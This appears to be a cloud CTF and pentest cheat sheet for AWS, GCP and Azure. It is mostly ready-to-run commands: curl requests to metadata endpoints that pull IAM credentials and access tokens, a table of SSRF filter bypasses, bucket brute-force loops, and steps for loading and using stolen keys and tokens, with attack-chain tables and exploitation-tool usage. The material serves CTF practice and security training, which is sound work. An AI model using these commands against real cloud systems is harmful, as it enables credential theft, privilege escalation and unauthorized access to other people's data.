cloud::ctf

pentest AWS · GCP · Azure SSRF · IAM
Metadata SSRFAWS GCPAzure CTF PatternsTools
01Metadata Services (SSRF Target)
AWS IMDSv1 (no auth)
# Classic SSRF target — no headers required
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
# ↑ Returns AccessKeyId, SecretAccessKey, Token

# User-data often contains startup scripts with creds
curl http://169.254.169.254/latest/user-data
AWS IMDSv2 (token required)
# Step 1: get session token via PUT
TOKEN=$(curl -X PUT \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  http://169.254.169.254/latest/api/token)

# Step 2: use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

# IMDSv2 blocks SSRF via redirect (PUT can't follow)
# But direct access from instance still works
GCP Metadata
# Requires Metadata-Flavor header
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# Get access token for service account
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Project metadata & SSH keys
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/attributes/

# Instance custom metadata (may contain flags/secrets)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true
Azure IMDS
# Requires Metadata header
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get managed identity access token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Subscription & resource group info
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"
Common SSRF Bypasses
TechniqueExampleNotes
Decimal IPhttp://2852039166/latest/meta-data/169.254.169.254 as decimal integer
Hex IPhttp://0xa9fea9fe/latest/meta-data/Hex encoding of 169.254.169.254
IPv6http://[::ffff:169.254.169.254]/IPv4-mapped IPv6 address
DNS rebindingServe DNS that resolves to 169.254.169.254Use rbndr.us or custom DNS
RedirectHost redirect on attacker serverBypasses URL validation, not IMDSv2
URL encodinghttp://169.254.169.254/%6c%61%74%65%73%74/Encode path components
Enclosed alphanumericshttp://169.254.169.254/ with UnicodeSome parsers normalize Unicode digits
02AWS
S3 Buckets
# List bucket contents (no auth)
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/flag.txt . --no-sign-request

# Via HTTP
curl https://bucket-name.s3.amazonaws.com/
curl https://s3.amazonaws.com/bucket-name/

# Check bucket policy
aws s3api get-bucket-policy --bucket bucket-name
aws s3api get-bucket-acl --bucket bucket-name

# List all objects recursively
aws s3 ls s3://bucket-name --recursive --no-sign-request

# Bruteforce common flag paths
for f in flag flag.txt secret.txt; do
  curl -s "https://bucket-name.s3.amazonaws.com/$f"
done
IAM Enumeration
# Who am I?
aws sts get-caller-identity

# What can I do?
aws iam list-attached-user-policies --user-name USER
aws iam list-user-policies --user-name USER
aws iam get-policy-version --policy-arn ARN --version-id v1

# List roles (look for overly permissive)
aws iam list-roles
aws iam list-policies --scope Local

# Assume role if allowed
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/ROLE \
  --role-session-name pwned

# Use stolen creds from IMDS
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
Lambda & Secrets
# List Lambda functions
aws lambda list-functions
aws lambda get-function --function-name NAME
# ↑ Returns presigned URL to source code ZIP!

# Get env vars (often contain flags/keys)
aws lambda get-function-configuration --function-name NAME \
  | jq '.Environment.Variables'

# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id NAME

# SSM Parameter Store
aws ssm get-parameters-by-path --path / --recursive
aws ssm get-parameter --name /secret/flag --with-decryption

# EC2 user-data (base64 encoded)
aws ec2 describe-instance-attribute \
  --instance-id i-xxx --attribute userData \
  | jq -r '.UserData.Value' | base64 -d
Cognito & DynamoDB
# Cognito: misconfigured identity pools
aws cognito-identity get-id \
  --identity-pool-id us-east-1:xxxx

aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:xxxx
# ↑ May return IAM creds for unauthenticated role

# DynamoDB
aws dynamodb list-tables
aws dynamodb scan --table-name flags
aws dynamodb scan --table-name users

# Common CTF flag locations in AWS:
#   S3 objects, Lambda env vars,
#   Secrets Manager, DynamoDB items,
#   SSM parameters, EC2 user-data
03GCP
Authentication & Enumeration
# Current auth context
gcloud auth list
gcloud config list
gcloud projects list

# Service account info
gcloud iam service-accounts list
gcloud iam service-accounts keys list \
  --iam-account SA@PROJECT.iam.gserviceaccount.com

# Activate stolen service account key
gcloud auth activate-service-account \
  --key-file stolen-key.json

# Use access token from metadata
curl -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/storage/v1/b?project=PROJECT"
Storage & Functions
# List / download from GCS
gsutil ls
gsutil ls gs://bucket-name
gsutil cp gs://bucket-name/flag.txt .

# Public bucket via HTTP
curl "https://storage.googleapis.com/bucket-name/"
curl "https://storage.googleapis.com/bucket-name/flag.txt"

# Cloud Functions (source code access)
gcloud functions list
gcloud functions describe FUNC_NAME
gcloud functions logs read FUNC_NAME

# App Engine source
gcloud app versions list
gcloud app describe

# Common flag locations in GCP:
#   GCS objects, Cloud Function env vars,
#   Firestore/Datastore, Secret Manager,
#   Compute instance metadata attributes
04Azure
Enumeration & Blob Storage
# Current context
az account list
az account show
az resource list

# Blob storage: public containers
curl "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list"
az storage blob list --account-name ACCOUNT --container CONTAINER
az storage blob download --account-name ACCOUNT \
  --container CONTAINER --name flag.txt -f flag.txt

# List storage accounts
az storage account list
az storage container list --account-name ACCOUNT
Key Vault & Managed Identity
# Managed Identity token from IMDS
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Key Vault secrets
az keyvault list
az keyvault secret list --vault-name VAULT
az keyvault secret show --vault-name VAULT --name flag

# App Service env vars (if you have access)
az webapp config appsettings list \
  --name APP --resource-group RG

# Common flag locations in Azure:
#   Blob storage, Key Vault secrets,
#   App Service env vars, Cosmos DB,
#   Function App configuration
05Common Patterns in CTFs
Attack chains & patterns
PatternStepsFlag location
SSRF → creds → pivotFind SSRF → hit metadata endpoint → steal IAM creds → enumerate cloud resourcesS3/GCS/Blob object, secrets store most common
Public bucketDiscover bucket name (source, DNS, brute) → list objects → download flagDirect download from bucket
Leaked keysFind service account key / AWS creds in git repo, env vars, or config filesUse creds to access other services
Over-permissive IAMGet limited creds → discover excessive permissions → escalateSecrets Manager, Parameter Store, Key Vault
Serverless source leakAccess Lambda/Cloud Function → download source code → find hardcoded secretsEnv vars or hardcoded in source
Container registryFind unauthenticated registry → pull images → inspect layers for secretsEmbedded in image layers/env
Quick recon flow
# 1. Identify cloud provider
# Check response headers, DNS, error messages
dig target.com                  # CNAME to *.amazonaws.com?
curl -v target.com 2>&1 | grep -i "server\|x-amz\|x-goog\|x-ms"

# 2. Try SSRF if webapp present
# Test: url=http://169.254.169.254/latest/meta-data/

# 3. Try public buckets
curl -s "https://COMPANY.s3.amazonaws.com/"
curl -s "https://storage.googleapis.com/COMPANY/"
curl -s "https://COMPANY.blob.core.windows.net/public?restype=container&comp=list"

# 4. Check for leaked creds
# Look in: page source, .env, .git, JS files
Credential usage
# AWS: configure stolen credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."   # if from IMDS/STS
aws sts get-caller-identity     # verify

# GCP: use access token
curl -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/..."

# Azure: use bearer token
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Pro tip: always check what permissions you have
# before trying to access flag locations
06Tools
Cloud security tools
ToolPurposeUsage
aws / gcloud / azOfficial cloud CLIsPrimary interaction with cloud APIs
PacuAWS exploitation frameworkpacuimport_keysrun iam__enum_permissions essential
ScoutSuiteMulti-cloud security auditingscout aws --profile stolen
CloudFoxAWS situational awarenesscloudfox aws --profile stolen all-checks
enumerate-iamBrute-force IAM permissionspython enumerate-iam.py --access-key AKIA... fast
s3scannerS3 bucket discoverys3scanner --bucket-file wordlist.txt
bucket_finderGCS/S3 bucket brute-forcebucket_finder.rb wordlist.txt
truffleHogSecret scanning in repostrufflehog git https://github.com/org/repo
CLOUD CTF CHECKLIST →   ① curl http://169.254.169.254/latest/meta-data/ — try SSRF to metadata   ② aws sts get-caller-identity — check stolen creds   ③ aws s3 ls s3://bucket --no-sign-request — public buckets   ④ aws secretsmanager list-secrets — check secrets stores   ⑤ aws lambda get-function --function-name F — source code leak   ⑥ Check env vars, user-data, DynamoDB, Key Vault